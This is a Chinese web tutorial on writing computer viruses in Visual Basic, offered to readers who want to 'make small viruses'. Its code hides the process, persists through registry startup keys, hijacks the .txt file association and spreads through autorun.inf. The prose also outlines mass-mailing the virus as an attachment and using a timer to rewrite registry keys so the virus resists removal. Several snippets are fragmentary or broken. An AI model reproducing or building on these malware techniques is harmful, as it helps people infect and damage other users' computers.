电脑病毒制作方法
朋友们想做一些小的电脑病毒吗,对于接触计算机的朋友们来说,病毒已经不在是一个陌生的东西。 下面由学习啦小编给你对电脑病毒做出详细的制作方法!希望对你有帮助!
方法如下:
病毒一般都具有传播、隐 藏、破坏等能力。所以自从第一个病毒问世以来,它便被人们视为一种神秘的东西。但是,我们要知道。病毒也是程序,也是由人写出来的。所以,病毒并不是什么 高不可攀的东西。现在,让我们了解一下VB制作病毒的原理。
首先,病毒是有隐藏性的。如何来实现病毒的隐藏是很多年来的热点话题。我们先不接触什么线程插入技术。我们要实行自我隐藏,就要用到API函数。其代码如下:
Public Declare Function GetCurrentProcessid Lib "kernel32" () As Long
Public Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long)
Public Const RSP_SIMPLE_SERVICE = 1
Public Const RSP_UNREGISTER_SERVICE = 0
Public Sub MakeMeService()
Dim pid As Long
Dim resery As Long
pid = GetCurrentProcessid()
regserv = RegisterServiceProcess(pid, RSP_SIMPLE_SERVICE)
End Sub
这样就实现了自我隐藏。还有别的什么App.Title = ""和App.TaskVisible = False都可以用于VB病毒的隐藏。
病毒光会隐藏还不行,还要有常驻内存的能力。说通俗点,计算机关闭病毒也就跟着死去,而计算机重启,病毒也要跟这复活。所以,我们接下来的任务就是:实现病毒的开机自启。
了解病毒的朋友会知道,病毒一般是利用在注册表中插入相应键值来实现开机自启的。所以,我们就要利用编程来实现着一功能。读写注册表要用到API函数,代码:
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpvalueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
上述是API声明。病毒的开机自启就是在RUN下建立一个启动项,代码:
Dim hKey As Long
Dim cc
Let cc = Len("病毒的绝对路径")
RegCreateKey HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Runservices", hKey
RegSetValueEx hKey, "键名", 0, REG_SZ, ByVal "病毒的绝对路径", cc
RegCloseKey hKey
以上代码执行后会在注册表中加入一个病毒的启动项。
光利用开机自启来长驻内存也太容易被杀了。所以,我们还要想尽一切办法来让病毒启动。这里介绍的2种办法。
第一种。修改文本文件的关联。其代码如下:
API声明:
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegSetValue Lib "advapi32.dll" Alias "RegSetValueA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long
Const HKEY_CLASSES_ROOT = &H80000000
Const REG_SZ = 1
实现代码:
Dim sKeyName As String '存储键名
Dim sKeyValue As String '存储键值
Dim MyReturn As Long '存储返回值信息
Dim keyhandle As Long
sKeyName = "Test"
sKeyValue = "Test Application"
MyReturn& = RegCreateKey&(HKEY_CLASSES_ROOT, sKeyName, keyhandle&)
MyReturn& = RegSetValue&(keyhandle&, "", REG_SZ, sKeyValue, 0&)
MsgBox MyReturn&
sKeyName = ".txt" '要建立关联的文件后缀名
sKeyValue = "Test"
MyReturn& = RegCreateKey&(HKEY_CLASSES_ROOT, sKeyName, keyhandle&)
MyReturn& = RegSetValue&(keyhandle&, "", REG_SZ, sKeyValue, 0&)
sKeyName = "Test"
sKeyValue = "D:\病毒.exe %1" '自己程序的位置和名称
MyReturn& = RegCreateKey&(HKEY_CLASSES_ROOT, sKeyName, keyhandle&)
MyReturn& = RegSetValue&(keyhandle&, "shell\open\command", REG_SZ, sKeyValue, MAX_PATH)
End Sub
以上是利用修改TXT文件关联来实现病毒启动的。
第二种,利用Autorun.inf
光盘就是利用这个来自动播放的,所以我就不废话了。
实现代码:
If Dir("F:\") <> "" Then Let a = App.Path + "\" + App.EXEName + ".exe"
FileCopy a, "C:\病毒.exe"
Open "Autorun.inf" For Output As #1
Print #1, "[autorun]"
Print #1, "OPEN=病毒.exe"
Close #1
这样就实现了双击C盘启动病毒的作用。
下面说一下病毒的传播,病毒的传播可以说是八仙过海。主要的传播方式就是电子邮件传播,远程溢出等。
远程溢出这里不做详解。第一是我不太熟练,只会用,不会说。第二是要讲清楚很麻烦。所以,我讲一下电子邮件传播。
首先,建立一个WINSOCKE。然后利用编程来实现。这里只说思路。
ConnectToServer Server, Winsock1 ‘这是向服务器建立连接
SendMail FromAddress, ToAddress, Subject, Body, Winsock1, Attach ‘发送邮件
FromAddress 发件人地址
ToAddress 收件人地址
Subject 邮件标题
Body 邮件内容
Attach 附件地址
利用这样的原理来群发,可以达到传播自己的目的。
还有一种就是U盘/A盘传播,原理上面已经说过。利用Autorun.inf文件,这里就不废话了。
说了这么多,还剩最后一点,那就是破坏性。这个就不详细阐述。什么自动关机,无限增殖。大家自己发挥想象,这不是很难的事。
最后总结,一个什么样的病毒,它必须生活在特定的操作系统下。所以,病毒做出来后,不一定能在什么操作系统下都能用。还有一点,病毒必须能自己保护自己。 这里推荐使用TIMER。利用这个部件来不断的写注册表。这样,很难删掉病毒的启动键值。还要保护自身的增殖文件。比如:
Let a = App.Path + "\" + App.EXEName + ".exe"
If Dir("C:\Program Files\病毒.exe") <> "" Then
Else: FileCopy a, "C:\Program Files\病毒.exe"
最后,还有最重要的一点。那就是容错语句。尽量多加。以防万一。
看了此文电脑病毒制作的人还看了:
1.电脑病毒如何制作
2.电脑病毒制作视频